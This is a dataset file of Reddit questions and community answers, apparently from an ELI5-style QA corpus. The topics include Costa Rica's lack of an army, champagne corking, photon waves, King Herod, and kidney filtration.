{"q_id": "8yxrfm", "title": "New to Reddit - Can you please help me?", "selftext": "Hi there! I\u2019m brand new to Reddit and I\u2019m looking for some direction. \n\nI have to old pictures of relatives from (what I guess is) Bohemia in the early 1900/late 1800. The problem is, I don\u2019t know much about these photos (what war they\u2019ll likely from etc). No one is my family seems to know/remember. Thus, I\u2019m turning to Reddit for some possible theories and answers!\n\nWhere would be the best place to post these pictures to get more information? \n\nThanks! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8yxrfm/new_to_reddit_can_you_please_help_me/", "answers": {"a_id": ["e2ewcs2"], "score": [2], "text": ["/r/Askhistorians is probably good, but your question might get buried. You could also post to /r/History and see what you get. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4g5f2p", "title": "amazon prime", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4g5f2p/eli5_amazon_prime/", "answers": {"a_id": ["d2eow8i"], "score": [2], "text": ["Yes. They have many warehouses all over the US. And these places are MASSIVE. I mean, friggen huge. [Here](_URL_0_) is an image if the inside of one.\n\nNot only this, but they also contract to local shipping companies in order to perform these deliveries, and even hire their own people to make deliveries (see _URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://img.buzzfeed.com/buzzfeed-static/static/2014-11/26/8/enhanced/webdr09/enhanced-buzz-wide-10564-1417008855-13.jpg", "https://flex.amazon.com/"]]}
{"q_id": "63bl79", "title": "Was the Bagrationi dynasty founded by a Georgian or Armenian?", "selftext": "Wikipedia says that the ethnicity is Georgian yet, the two ethnic groups, Armenians and Georgians, have ruled in both Armenia and Georgia. Who was the founder and were they actually originally Georgian or Armenian? I believe it had to have been Armenian but my eyes say it's Georgian.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/63bl79/was_the_bagrationi_dynasty_founded_by_a_georgian/", "answers": {"a_id": ["dft76z3"], "score": [4], "text": ["The Bagrationi dynasty is/was descended from ethnic Armenians, that is true. Unfortunately I don't have the sources on hand with me, but I can give you the means to find them and read more on it (see the end here). However just because the Bagrationi's originally came from Armenia doesn't really make them any less Georgian. They ruled over Georgia for some seven centuries (depending on how you want to count \"ruled\"), and married local families, so by the end of independent Georgia in 1801/1810, they were thoroughly Georgian. But the short answer to your question is, yes, the Georgian Bagrationi dynasty was founded by an Armenian.\n\nI will admit here though that I am not that well-read on medieval Georgia, which is in part because my focus has been on the twentieth century era, and because honestly there is not a lot of scholars in English who write about (for lack of a better term) pre-annexation Georgia, so any material that is out there is usually rather old (and likely dated), or just not in any serious depth.\n\nFurther reading:\n\n* Ronald Grigor Suny, *The Making of the Georgian Nation* (1988, 1994): this is the standard survey text in English of the history of Georgia. It is more focused on the modern (read Russian-dominated) era, but does give some context to the historic eras, and is full of further sources in the bibliography.\n\n* Donald Rayfield, *Edge of Empires: A History of Georgia* (2012): Rayfield's book isn't quite as well-regarded as Suny, but he goes into a lot more detail about medieval and ancient (read pre-Russian annexation) Georgia. If you want a decent overview of the rise of the Bagrationi family, I'd highly suggest this, as he looks into the very question you are asking, and the relationship between the two places.\n\n* You may also want to search the works of David Marshall Lang. He is effectively the godfather of modern English study of Georgia, in that he founded the British institute that begat the modern efforts to research the country. I do believe he wrote about that era of Georgia when he was active in the 1960s, though the name of the title escapes me. However his name should show some relevant results."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nbnjm", "title": "with the michael brown case in ferguson, mo- why are they announcing the verdict at night? isn't that the worst time for potential civil unrest and rioting? wouldn't announcing it in the early morning give people time to calm down before the danger of night?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nbnjm/eli5_with_the_michael_brown_case_in_ferguson_mo/", "answers": {"a_id": ["cmc5b6n", "cmc5eqw", "cmc5y4e", "cmd02u0"], "score": [4, 20, 4, 3], "text": ["I'm from Missouri and just want all my friends to be safe who are near Ferguson. Just doesn't make sense why they don't announce it at 6am or something. Criminals would be sleepy, daylight would allow police to catch violent offenders easier, etc. ", "They can declare a curfew only during nighttime.  Such a curfew gives probable cause to break up *any* protest, even if they have no intention to arrest them on curfew violations.", "I guess they're relying on people going home once it gets really late or using a curfew to clear the streets. I think this is very irresponsible. Who is more likely to come out under the cover of darkness? Peaceful protesters or potentially violent agitators?  if things do get out of hand the simple fact that it's dark can create all types of scenarios that probably wouldnt occur at 7am. I'm afraid we may look back on this simple timing decision as a serious miscalculation. ", "The reason was because they wanted all schools and after school activities to be over with so those people were safe and back at home. Just think how crazy some college/highschool campuses would of been?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ar7p2e", "title": "Are there any substances the Liver or Kidneys can't remove? Therefore in our blood forever.", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ar7p2e/are_there_any_substances_the_liver_or_kidneys/", "answers": {"a_id": ["egmmait", "egnfifz"], "score": [2, 6], "text": ["Re: The Kidney.\n\nIf it gets into the blood stream then it needs to go through the filter (the glomerulus) then it would need to be reabsorbed by the loop of Henle otherwise it would just go out through the collecting duct and urine.\n\nIf it can\u2019t get through the filter (in cases where substances crystallize and get caught in the filter), the kidneys stop working and the patient would need to go onto dialysis in order to live.\n\n", "The liver can\u2019t directly remove substances. It can, however, chemically break down many substances, rendering them harmless.  \nThe kidneys work like inverse filters, wih the [Nephron](_URL_0_) being the functional subunit.  \nAt the first step, everything under a certain size (approx. 60000 dalton) gets thrown out of the blood, including water, salts, smaller proteins etc.  \nThis happens at the basal membrane inside the glomerulus. This \u2018primary urine\u2019 then enters the decending limb followed by the loop of Henle, then the ascending limb. Cells making up these structures then reclaim everything the body still needs. Unknown substances are neither necessary nor recognizable so they just get thrown out.  \nMolecules larger than 60000d can\u2019t be handled in this fashion but then it is hard to see how such large molecules would enter the body other than trauma. In those cases the Glomeruli can get \u2018clogged\u2019 and the kidneys can fail.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Nephron"]]}
{"q_id": "e4kpb4", "title": "how do bottling companies insert champagne corks into the bottles when they make them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e4kpb4/eli5_how_do_bottling_companies_insert_champagne/", "answers": {"a_id": ["f9cfcgc", "f9cl7gq", "f9diprr", "f9eezt7", "f9endn0"], "score": [56, 8, 21, 2, 2], "text": ["When the champagne is bottled, the fermentation process hasn't completed yet and the yeast continues to make carbon dioxide. The corks can more or less be pressed in (usually by a machine) like normal wine bottling. \n\nThe fermentation process continues after bottling and this produces the carbon dioxide that dissolves in the \"wine\" to make it bubbly when the bottle is uncorked.\n\nAt least, this is how it worked for my home made bubbly!", "The cork on a champagne bottle is a cylinder before it is pressed into the bottle with a press machine. This gives it the done like head. A wire holder is then placed on top and twisted, this keeps the cork in place as to withstand gas pressure in the bottle", "fun fact - cork has a Poisson ration of about zero, which means that as you press down on it it does not expand sideways. Without that it would not be easy to use it to push into a bottle top, as the expansion sideways would resist your efforts", "They squish it. Seriously.\n\nBest way to see it is to look at a home bottling press. Cork goes in, gets smashed, then shoved into the hole. Mushroom. Kinda fun.", "The cork on a champagne bottle is pretty much the same as a wine cork.  \nWhen inserting the champagne cork we do not insert it all the way, leaving about 1/4 of the cork sticking out of the top. \n\nAfter corking we add the cage to hold the cork in while the wine referments in the bottle. The refermentation is what adds the bubbles (yeast eat sugar and release alcohol and carbon dioxide) and the pressure (carbon dioxide) mushrooms the head of the cork as the pressure is trying to push the cork out of the bottle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "47sycm", "title": "If the atmosphere was twice as dense, would fluctuations in weather be more or less severe?", "selftext": "All other things (including gas composition) being equal, how would a denser atmosphere affect the weather and climate?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47sycm/if_the_atmosphere_was_twice_as_dense_would/", "answers": {"a_id": ["d0fgxhi"], "score": [172], "text": ["Generally: Earth becomes more like Venus.\n\nSo first, I need to point out that if you tried to double the density by just doubling every gas molecule right next to existing ones, that won't be stable. The entire atmosphere would suddenly expand upwards like a coiled spring, moving about 6 km upwards (based just on hydrostatic equilibrium), then slowly expanding a couple more km as the surface heated up. \n\nNow, the resulting atmosphere *would* have double the pressure since every square inch of the surface now has 29.4 pounds of atmosphere above it instead of 14.7 pounds per square inch. The density at the surface would be a fair amount more than it is now, though it would not be double. As for weather/climate:\n\n1) It would be a lot hotter. Folks who know the Ideal Gas law will recognize that doubling the pressure while not doubling the density all the way means that temperature must increase. Moreover, you've just doubled the amount of infrared absorbers in the atmosphere, so that the greenhouse effect would be much more intense at the surface.\n\nA quick back-of-the-envelope calculation: let's say the final height of the expanded atmosphere is 8 km higher, so now the \"1 atmosphere\" pressure level is about 8 km above the surface. The moist adiabatic lapse rate is about 5 C per km, which suggests that the atmosphere down at the surface would initially be 40 C (72 F) warmer. However, that much higher temperature would evaporate the oceans a lot more, putting vastly more infrared absorbers (water vapor) in the atmosphere and heating up the lowest layer even more. This is how the runaway greenhouse effect works...which is bad news brown for life on this planet.\n\n2) Winds at the surface would get calmer. Taking a hint from Venus here: the winds are fast high up, but incredibly sluggish down at the surface. Basically, the lower atmosphere is denser, so you don't need to move the air very quickly down low to maintain conservation of mass with the fast-but-thin winds higher up.\n\n3) Day-night temperature changes would be less. With a thicker atmosphere, it can hold on to heat much better even after the Sun has gone down. Similarly, it's much slower to heat up during the day. The planetary radiative timescale decreases as the temperature to the third power, which works out to the Earth requiring about 50% more time to heat/cool itself.\n\n4) Clouds and thunderstorms would extend much higher. Currently weather extends up to about 10 km, where it meets the bottom of the stratosphere, the \"tropopause\", a cold trap in our middle atmosphere. Above this height, temperature starts increasing again, so the convection that sustains cloud formation can't continue above that.\n\nThis cold trap is largely caused because that's the height where the pressure is roughly 0.1 atm, thin enough that infrared photons can start escaping directly to space. The height where the pressure is 0.1 atm would be shifted 8 km upwards in our scenario, so now clouds have that much more room to expand. Expect some serious lightning with all that extra room for thunderstorm growth and charge separation. Given how hot the surface is, though, most of the rain would be virga, evaporating before it ever even hit the ground.\n\n**TL;DR**: The atmosphere would quickly self-adjust so that the density was less than double, but the pressure would still double. It would be much hotter, possibly runaway greenhouse effect (bad for life), slower winds at the surface, less day-night temperature variation, more intense thunderstorms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "145g97", "title": "Meteor Showers occur when the Earth passes \nthrough dust left by a comet, I've been told... so \nwhy doesn't that cloud orbit the Sun as well?", "selftext": "We have meteor showers that come in the same general part of our year, because the Earth passes through the same \"spot\" in our orbit that a comet left dust in.\n\nBut... shouldn't the dust orbit in front of the Earth perpetually? Why does it stay in that \"spot\" in our orbit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/145g97/meteor_showers_occur_when_the_earth_passes/", "answers": {"a_id": ["c7a1447", "c7a1v1a"], "score": [41, 20], "text": ["It's all orbiting the Sun in a big elliptical orbit and not usually in the same plane as the Earth.", "It does. The comet's orbit is just not the same as ours. We pass through the comet's dust trail at the point where Earth's orbit of the sun crosses the path of the comet's."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "37dk88", "title": "Did King Herod really massacre many innocent children because of his fear of a messiah?", "selftext": "Historically, how accurate is The Massacre of the Innocents?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37dk88/did_king_herod_really_massacre_many_innocent/", "answers": {"a_id": ["crm6usy", "crmf7em"], "score": [344, 24], "text": ["There is absolutely *no* attestation of the event by anyone outside of Mathew.\n\nHowever it wouldn't have been out of character. Herod had no problem killing anyone who posed even a theoretical threat to his rule. He killed his own relatives, priests, generals, and more throughout his reign. He even had his oldest son (Antipater) killed just five days before his own death. And he had no problem killing large numbers of people. He also had no problem killing on the basis of prophecy. When a group of pharisees started circulating a prophecy that his younger brother Pheoras was going to inherit the throne, Herod had those pharisees executed.\n\nAlso Bethlehem was a small town at the time. William Albright has estimated that it had 300 residents or fewer at the time. It wouldn't have had more than a dozen or so male children under 2 years old. And sadly killing a dozen toddlers wouldn't have made a top ten list of Herod's atrocities. So *if* it happened, it is quite possible that either Josephus didn't hear about it, because it was a small atrocity in a small town, or he thought it was not worth mentioning. I'm not sure the second part is likely though; Josephus certainly had no qualms about cataloging Herod other murderous acts.\n\nSo could it have happened? Yes. It is a plausible story. Herod was quite capable of killing kids because he heard a prophecy that one of them would take over his kingdom.\n\nDid it happen? We don't know. We don't know who the author of the Book of Matthew was. We don't know what his sources were. And we have no corroboration. ", "Mugsy13 has the gist of it.\n\nThe Slaughter of the Innocents, which is found only in Matthew and contradicted by Luke's birth narrative, is a theological and literary story rather than a historical one. It closely mirrors the nativity of Moses as described in Exodus and especially in Josephus (which includes additional apocryphal detail), even directly quoting LXX Exodus at one point. The point is to set Jesus up as a second Moses.\n\nOn the historical side, there is no attestation of any such event (as QuickSpore notes), and it is considered unlikely that Jesus was born in Bethlehem. In fact, the town might not even have been inhabited at the time. Furthermore, the events surrounding and leading up to the massacre are all historically improbable (including the star and the improbable behaviour of various characters in the story). The definitive work on the subject is probably *The Birth of the Messiah* by Raymond E. Brown."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4ghaol", "title": "why do we feel more uncomfortable viewing sex than viewing violence when others are around us? given that sex is more natural than violence, shouldn't it be the opposite?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ghaol/eli5_why_do_we_feel_more_uncomfortable_viewing/", "answers": {"a_id": ["d2hk894", "d2hk8x3", "d2hkcwu", "d2hknau", "d2hks24", "d2hlpdr", "d2hlrt3", "d2hlywf", "d2hnr1e"], "score": [21, 15, 2, 6, 2, 6, 3, 5, 2], "text": [" >  sex is more natural than violence\n\nI'm curious to hear your rationale for making this statement when violence, just like sex, is clearly natural and happening all around us virtually all the time, in all kinds of species.", "Well for the most part it has to do with cultural expectations and other stuff. Some places have lots more sex on tv and less violence on tv for cultural reasons (looking at u germany). \n\n*This is my very uneducated take on it from an individual level*. -- But i guess you could also describe the phenomena using neurology and psychology. Humans have \"mirror neurons\" that help us with empathy. We see someone doing something and mimic that internally. Watching people be intimate while around others might cause a dissonance if that level of intimacy isn't already found in the group. ", "You answered your own question.  Sex is more natural in most of our lives. Therefore, most of us relate to it as a very real and private part of our lives. So, when we watch it with other people, it feels awkward. As if that person is now in that private place with us.  \n\nOn the other hand most of us do not commit violent acts regularly so there is no personal association with it to feel awkward about.", "Sex is no more or less natural than violence. We are a very violent species. And Predator Prey relationships are all around us in other parts of nature. \n\nThe thing in issue here is cultural expectations. Violence is a public act, sex a private act. We as a species value and protect those thing in the private spheres of our lives. ", "It's learned behaviour. You're taught that seeing sex in the presence of others should make you feel awkward and you're taught that violence is fine. \n\nIt's also context dependent. Watching people grind in a club probably wouldn't make you feel that awkward. On the other hand, watching someone beat their girlfriend in front of you would probably make you feel really awkward (among other things). ", "Sex is no more or less \"natural\" than violence. Humans have been engaged in both for as long as we've been human.\n\nBut there is still a difference between the two that runs far deeper than cultural expectations. Sex is almost invariably considered a *private* matter. It's something people do out of sight. And sex isn't something that you do with just anyone either, and for most people, only one at a time. It's deeply personal, and most people--across cultures--are *very* uncomfortable discussing their own sex lives, particularly in public. \n\nViolence, on the other hand, is often *very* public, even inherently so. War, for instance. And for much of history, judicial punishments involved public corporal punishment, whether it be flogging or execution. The municipality's weekly hangings were considered wholesome family fun, as morbid as that sounds today. Indeed, private violence is often far more uncomfortable for many people than public violence. A street mugging is bad, but domestic abuse is in many ways far *worse*, precisely because the violence is hidden from public view. \n\n", "In our culture, sex is a private matter whereas violence is not.\n\nTherefore sharing a violent moment with someone - e.g. watching it on a screen - is less inherently uncomfortable than sharing a sexy moment in the same way. \n\nAs will all these things, of course YMMV and exceptions apply.", "You're an argumentative narrow minded arrogant little cunt aren't you. You asked people to explain something like you're five and then you fucking debate their answers with them. Not really making sense. \n\nSex and violence are equally natural to humans no matter what you think. Whilst you may live in privilege and have avoided violence in your everyday life it is a very real and daily thing for millions of people. \n\nOne reason violence is OK to be viewed versus sex is that sex is supposed to be private and intimate whilst violence is often perpetrated in a public place. \n\nAnother is because of cultural and religious views on sex. \n\n", "I think sex is kind of way more personal to people, and any individual might get weirded out about sharing their views / connecting with people on it.  Whereas violence is everywhere (sex is too, but strictly talking exposure), just as a casual thing, life is violent probably way more often than its sexy.  I like Bruce Campbell said \"You can show a breast being cut off, but you can't show it being kissed\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "2ycu1f", "title": "how countries like costa rica can just abolish their military and manage to live without an army for so long time??", "selftext": "It was abolished in 1949!!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ycu1f/eli5_how_countries_like_costa_rica_can_just/", "answers": {"a_id": ["cp8b8fi", "cp8b9qc", "cp8bonb", "cp8eqt3", "cp8kmmk", "cp8ldot", "cp8taoa"], "score": [252, 7, 10, 28, 123, 6, 4], "text": ["Who lives right next door to Costa Rica? - The USA.\n\nThe same USA that has made it absolutely clear that nobody... NOBODY picks a fight with the people in our backyard (except us).  The same USA that spends more money on military than the next 10 countries on the list combined.\n\nCosta Rica doesn't need an army... they have the US military.", "A lot of countries never use their military, except for internal security, with can be done by non-military security forces.", "As long as you're not being invaded, invading anyone else, or protecting from the threat of invasion, you don't need a military. A national police force is often enough for many countries.", "Costa Rica is known as the Switzerland of the central america. Of course it doesn't compare to U.S in economics, but in the area, it's considered an economical powerhouse.  Panama and Costa Rica work hand in hand with the U.S. because they are head of economics in the area. This basically means that it's U.S interest to help their neighbors. \n\nClose by, U.S doesn't have the best relationships with countries like Nicaragua, Guatemala or Honduras. Trade with Belize is limited so the interest isn't as valuable, however U.S would also look over them as well. Relationship with Mexico has always been rocky, even with recent talks of looking to work together it's all shaky. \n\nNow, that's the reason I can say, Costa Rica is able to run without an army because \"big brother\" will come back them up if anything happens, but another important variable is because the United Nations admires the fact that they need not have a military. So therefore, it wouldn't be an issue with just U.S but with the U.N. This is another reason why Costa Rica is the head of the Inter American Court of Human Rights and the United Nations University for Peace\n\nI know that sounds iffy because conflict of interest usually hold the U.N from accomplishing much, but in reality the only threat Costa Rica faces is Nicaragua. A country in horrible shape for the past few decades who's closest allies are Venezuela, Ecuador and Cuba. The recent threats are just that. They're similar to North Korea in the aspect that they want to sound tough. \n\nCosta Rica is smaller than the state of florida. The country is voted one of the happiest countries in the world back to back. The lifestyle simply doesn't demand a military. \n\nLast time I was there, the news were reporting about a \"horrendous terror threat massacre\" and it was just some guy who robbed a bank and killed 3 people. I see headlines like those in Florida all the time. \n\nJust to round this up for you, with United States and United Nations looking over the country, it doesn't worry much about threats to an extent. With the lifestyle the country has adopted since they abolished the army back in 1948, the generation have come to not need militarized personnel. The public security force is enough for the nations needs. ", "Hey, Costarican guy here. I study international relations and this topic is obviously one of the most relevant to analyze, so here's a summary about it all:\nCosta Rica's army was abolished in benefit of other important subjects such as education, but actually it was a smart move by a government in a time where any Central American country was prone to a military dictatorship replacing the government.\nThis meant a continued stability in the country, even when the U.S. was claiming territory in Panama and sending Commandos to fight the not-so-democratic uprisings in Nicaragua.\nContinued to this day there have not been any mayor threats to national security, given Panama is pretty chill about their territory. The only more substantial menace to the territory are claims by the Nicaragua government over the river that separates the two neighboring countries. However, international law is strict about the matter and military invasion is a pretty bold move for a country with the international influence of Niacargua.\nBasically, Costa Rica stays unhinged by external military due to international law (and the country has adopted the role of an advocate of this law given we can't defend the national territory any other way).\nEven so, there's specialized police force for worst case scenarios, but they're pretty meaningless.\n*TL;DR:* Costa Rica has no threatening armies around it, so they don't need one.", "The ELI5 answer would be USA USA USA USA USA USA USA USA", "The Monroe doctrine says that anyone who invaded the Americas will be met by American forces"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "50kvvr", "title": "Why are electromagnetic waves depicted as moving \"up and down\"? Why don't photons go in a complete straight line?", "selftext": "Let's say I shoot a single photon from A to B in a long box where the wavelength is larger than the box. Does this mean the photon crashes into the walls of the box? If it wobbles like that, what causes it to go back to it's original path after it's changed path to follow the \"wave\"?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/50kvvr/why_are_electromagnetic_waves_depicted_as_moving/", "answers": {"a_id": ["d74wba7", "d74zbym", "d75154k", "d7521j9", "d754frw", "d757fzh", "d759xm7"], "score": [651, 4, 81, 6, 17, 2, 4], "text": ["The EM wave is not moving up and down, but the strength and direction of the electric and magnetic fields are. See this image,  \n\n* _URL_2_\n\nSo to be clear: The freely moving EM wave moves in a straight line. It does not wobble as it travels. With that said, if you have geometry, like a box with dimensions similar to the wavelength of the light, you will get more complicated behavior like diffraction of the wave, much like water ripples bending around lily pads.\n\n**Edit3:** Below is some math about this involving vectors if you're familiar with algebra and calculus, otherwise you can skip it.  \n\n____\n\nThe momentum of the wave is strictly,\n\n > p^(vec)=p*_0_*y^(hat)  \n\nThis makes complete sense since the momentum density is,  \n\n >  p^(vec) ~ E^(vec) x B^(vec)\n\nIn the image clearly, the cross product of the electric and magnetic fields which alternates in the x-direction and z-direction points in the y-direction.  \n\n**Edit:** To address single photons: Photons in most situations are very delocalized. They will not be in nice little packets, but have wavefunctions which extend out in space growing to arbitrary size over time following the lightcone where the photon was emitted. See here:  \n\n* _URL_1_\n\nYou can make localized photons, but it's rarely going to stay that way. The single slit experiment is an example of this.  \n\n**Edit2:** A neat paper which connects the photon wave function to the E and B fields,  \n\n >  Bialynicki-Birula, Iwo. \"On the wave function of the photon.\" Acta Physica Polonica-Series A General Physics 86.1 (1994): 97-116.  \n\n* _URL_0_", "It is a convenient visualization of the wave's phase at that point in space at a given time.\n\nOcean waves are a helpful analogy.  The waves in the water provide a visualization of the energy in the wave interacting with the molecules of water.  But the water molecules only move up and down - the \"wave\" of energy is what moves forwards.\n\nYour question is also the kind of thing that comes up when photons are thought of as particles (like a little ball).  Photons are pure energy - they *only* exist as waves, not as tiny balls that move in a wavelike trajectory.  The visualization of a sinusoid is to show the phase of the wave,  and not the trajectory or path of a physical particle.", "When you see a [sine wave graph](_URL_0_) (I assume this is what you are referring too?) representing an electromagnetic wave, what you are seeing is not a picture or diagram that physically depicts the wave, it is simply a graph of a value that constitutes a property of that wave over time (usually voltage, though there are values of other properties of EM waves are also sinusoidal).\n\nConsider, for example, what you would get if you graphed out the speed of your car over time as you accelerate from a stop up to speed and then decelerate back to a stop again. You'd probably get a graph that looks similar to a bell curve ([see the top right image here](_URL_1_)). Obviously, that graph would not indicate that your car had actually lifted in to the air and flew! The sine wave graph that is commonly used to represent an electromagnetic wave is no different.\n\nThey are generally depicted that way because that is the most significant and pertinent property of the EM wave, i.e. the property that matters for whatever it is you are doing. Physically speaking, the photons are not actually moving up and down in space as they travel.\n", "A photon does not actually moving up and down. The depiction you are referring to is just a way to visualize the nature of the wave. The up and down movement of the electric and magnetic field is able to show amplitude, polarization, phase, etc.\n\n Since you are talking about photons (light), it is interesting to note that light behaves as both a wave and a particle depending on the situation being observed.\n\n_URL_0_\n\nEdit: I've seen a lot of conversation about the duality of light so I thought I'd post a link to a video one of my professors showed that gave me a much better understanding. It has some amazingly lame animation, but great information!\n\n_URL_1_\n\n", "Despite the shape of the electromagnetic wave, it's important to understand that the photon does not follow a 'wavy' path that's traced by the shape of the wave. In order to understand the wavelike nature of photons, first you should understand what the wave represents in classical physics, what the wave represents in quantum, then how they're connected. \n\nIn classical physics, the EM wave is a wave travelling at the speed of light, where the amplitudes of the wave are the electric and magnetic fields. The electric and magnetic fields, which are perpendicular to each other, oscillate in phase with each other transverse to the direction the wave travels. Here is a [picture](_URL_0_).\n\nIn quantum mechanics, the wave represents the probability density of finding a photon at that location, but keep in mind the photons themselves always travel in a straight line at the speed of light. The parts of the wave with high amplitude correspond to a higher probability of finding a photon there.\n\nAccording to QED (quantum electrodynamics), the photon is responsible for the electromagnetic force. For example, the reason why electrons repel is because they exchange photons. Since the electric field represents the electric force, it is more likely to find photons at the areas of the wave with high field strength, hence the probability distribution of the photon would also oscillate in space.\n\nI know that the wave and particle behaviours can be confusing since electromagnetic waves are 'wavy', yet photons are particles that travel in a straight line. I hope this clarifies things.", "So to try write this for non science people, because GRAPHS. \nWhen you cannot photo a noun, you graph it and use analogies so you can show it to people. \nThe ups and downs represent voltage and magnetic strength. These are drawn perpendicular to eachother in 3d graphs because it works for doing maths. ", "You have to be careful by what's meant by x, y, and z.  In the typical diagram, x is the direction of propagation, while y and z are the directions of the electric and magnetic fields.  Therefore, the x-axis has units of meters, and the y- and z-axes have units of coulombs per meter squared and Gauss, respectively.  In other words, the vectors point in the y- and z- directions but nothing has physically moved in either direction.  As a Ph.D. in electrical engineering, I am absolutely hating every other answer on this thread for pedantic equation padding and otherwise trying to seem smart.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cft.edu.pl/~birula/publ/APPPwf.pdf", "https://www.reddit.com/r/askscience/comments/50kvvr/why_are_electromagnetic_waves_depicted_as_moving/d754ddj?context=2", "https://upload.wikimedia.org/wikipedia/commons/a/ad/Electromagneticwave3Dfromside.gif"], [], ["https://en.wikipedia.org/wiki/Sine_wave", "https://en.wikipedia.org/wiki/Normal_distribution"], ["https://en.m.wikipedia.org/wiki/Wave\u2013particle_duality", "https://youtu.be/DfPeprQ7oGc"], ["https://qph.ec.quoracdn.net/main-qimg-1555beff02d8ebef0dd25bed865db8bf?convert_to_webp=true"], [], []]}
{"q_id": "aa8urn", "title": "While reading the \"Art of War\" Sun Tzu says there are \"no more than 5 musical notes\". Why did ancient China believe there were only 5 notes? Is this related to pentatonics somehow?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aa8urn/while_reading_the_art_of_war_sun_tzu_says_there/", "answers": {"a_id": ["ecqmtz1", "ecquf0p"], "score": [502, 17], "text": ["The short answer to your question is that *The Art of War* is referring to a pentatonic scale that was understood to be the core of \"elegant music\" (\u96c5\u6a02), which was a lofty form of music used for court rituals. In the context of the passage you've referenced, it's just a metaphor for how a limited number of categories can still produce a wide variety of combinations, and not meant to be a literal claim about there only being five musical notes.\n\nAnother comment has already noted that there may be a link to the \"five phases\" system (\u4e94\u884c). Though the five phases system hadn't reached its maturity at the time of *The Art of War*, the fact that the next two examples used in the aforementioned passage are the \"five colours\" and the \"five flavours\" strongly implies a \"five phases\" influence. As far as music is concerned, though, archaeologists have found Shang dynasty ocarinas designed to produce a five-tone pentatonic scale, and this significantly predates the \"five phases\" system as we know it. So, perhaps we can think of this system as contributing to the continued emphasis on a pentatonic scale in premodern China, but not as its origin.", "If I can ask a follow-up, why was Sun Tzu talking about musical notes at all during something as focused on military strategy as the Art of War? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6xb8mb", "title": "Why were African and sometimes American dictators so notoriously eccentric?", "selftext": "Between Amin, Bokassa, Mobutu, Nguema, and Qaddafi, Africa seems to be home to some of the weirdest dictators of the 20th century. What about decolonization and culture brought such weirdos into power?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6xb8mb/why_were_african_and_sometimes_american_dictators/", "answers": {"a_id": ["dmfcdi1"], "score": [6], "text": ["I would point to the colonial era, and the processes through which the colonial African farm was created. Africa was largely colonized during the late 19th century, a period when Europe was it's height in terms of economic domination of the world. The colonial state constructed had vastly more firepower, was not dependent upon African merchants or landowners, nor upon the support of ordinary people. Whoever controlled the state could do whatever he or she wanted to, so long as you could keep a loyal coterie of soldiers (often paid by foreign aid money) on your side.\n\nI think it's useful to compare the British Raj in India versus British rule in Sierra Leone. Sierra Leone did not have a history of a centralized state, and people were not used to paying taxes. As a there were a series of of Hut Tax wars, where the government basically waged war to extort taxes on them. The British in India took over an existing revenue system and often reduced taxes. As a result, the colonial state in India always had support by much of the population and elite. However, rule in Sierra Leone always came from the barrel of a gun. The post-colonial states inherited much of the same legacy. Governments in India, Pakistan and Bangladesh always needed a certain level of popular buy in (even when the government was not democratic) and multiple dictatorships have been brought down by popular unrest. Business leaders, community organizers, and labor unions all had levers to pull to keep a government in check. Sierra Leone currently has a vibrant democracy, but previous Sierra Leonine leaders such as Siaka Stevens didn't really need to answer to anyone (except the military), and so he could create a death squad by supplying unemployed street youths drugs, and no one had any levers against the government. \n\nAs far as Bokassa is concerned, he was a product of colonial brutality. He is said to have watched French soldiers kill his father by shoving a nail through his head because a bullet was too good for Africans. That's got to mess a person up mentally. \n\n The Postcolonial State in Africa: Fifty Years of Independence, 1960\u20132010, Crawford Young \n\nThe African Colonial State in Comparative Perspective, Crawford Young"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
